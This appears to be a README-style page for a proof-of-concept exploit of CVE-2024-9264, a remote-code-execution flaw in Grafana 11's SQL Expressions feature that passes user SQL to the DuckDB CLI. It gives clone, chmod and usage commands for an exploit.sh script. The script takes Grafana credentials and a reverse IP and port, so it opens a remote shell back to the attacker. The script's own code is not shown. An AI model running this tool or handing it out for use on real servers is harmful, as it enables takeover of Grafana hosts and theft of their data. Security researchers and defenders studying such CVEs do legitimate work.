
Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit
Authenticated RCE in Grafana (v11.0) via SQL Expressions - PoC Exploit
CVE-2024-9264 - Grafana v11.0
Authenticated Remote Code Execution (RCE)
PoC
CVE-2024-9264 is a critical remote-code-execution and local-file-inclusion flaw introduced in Grafana 11’s experimental “SQL Expressions” feature. The API passes user-supplied SQL straight to the DuckDB CLI without adequate sanitisation, so any authenticated account with Viewer or higher privileges can inject shell commands or read arbitrary files, provided the duckdb binary is in the server’s PATH.
git clone https://github.com/rvizx/CVE-2024-9264
cd CVE-2024-9264
chmod +x exploit.sh
# usage
usage: ./exploit.sh <grafana_url> <username> <password> <reverse_ip> <reverse_port>
Example:
./exploit.sh http://grafana.example.com admin LMCOP4X2?29DX2%332! 10.10.10.10 1337